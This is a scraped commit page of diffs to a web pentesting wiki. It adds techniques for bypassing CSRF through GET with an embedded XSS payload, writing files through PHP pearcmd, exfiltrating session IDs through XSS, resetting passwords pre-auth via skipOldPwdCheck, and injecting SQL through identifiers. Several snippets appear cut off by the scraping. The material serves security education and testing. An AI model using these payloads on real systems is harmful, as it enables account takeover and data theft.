You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-web/csrf-cross-site-request-forgery.md
+33-6Lines changed: 33 additions & 6 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -37,9 +37,39 @@ Understanding and implementing these defenses is crucial for maintaining the sec
37
37
38
38
## Defences Bypass
39
39
40
-
### From POST to GET
40
+
### From POST to GET (method-conditioned CSRF validation bypass)
41
41
42
-
Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
42
+
Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
43
+
44
+
```php
45
+
public function csrf_check($fatal = true) {
46
+
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
47
+
// ... validate __csrf_token here ...
48
+
}
49
+
```
50
+
51
+
If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
52
+
53
+
Example:
54
+
55
+
- Original POST with token (intended):
56
+
57
+
```http
58
+
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
68
+
```
69
+
70
+
Notes:
71
+
- This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json.
72
+
- Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely.
43
73
44
74
### Lack of token
45
75
@@ -684,9 +714,6 @@ with open(PASS_LIST, "r") as f:
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument.
694
+
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
695
695
696
696
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
697
697
@@ -750,6 +750,9 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
-[Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
Copy file name to clipboardExpand all lines: src/pentesting-web/hacking-with-cookies/README.md
+12-1Lines changed: 12 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -70,6 +70,15 @@ cookie-jar-overflow.md
70
70
{{#endref}}
71
71
72
72
- It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies
73
+
- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:
Copy file name to clipboardExpand all lines: src/pentesting-web/reset-password.md
+41-1Lines changed: 41 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -247,10 +247,50 @@ uuid-insecurities.md
247
247
print("[+] Attck stopped")
248
248
```
249
249
250
+
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
251
+
252
+
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Copy file name to clipboardExpand all lines: src/pentesting-web/sql-injection/README.md
+35-1Lines changed: 35 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -621,6 +621,37 @@ Or using a **comma bypass**:
621
621
622
622
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
623
623
624
+
### Column/tablename injection in SELECT list via subqueries
625
+
626
+
If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is:
0 commit comments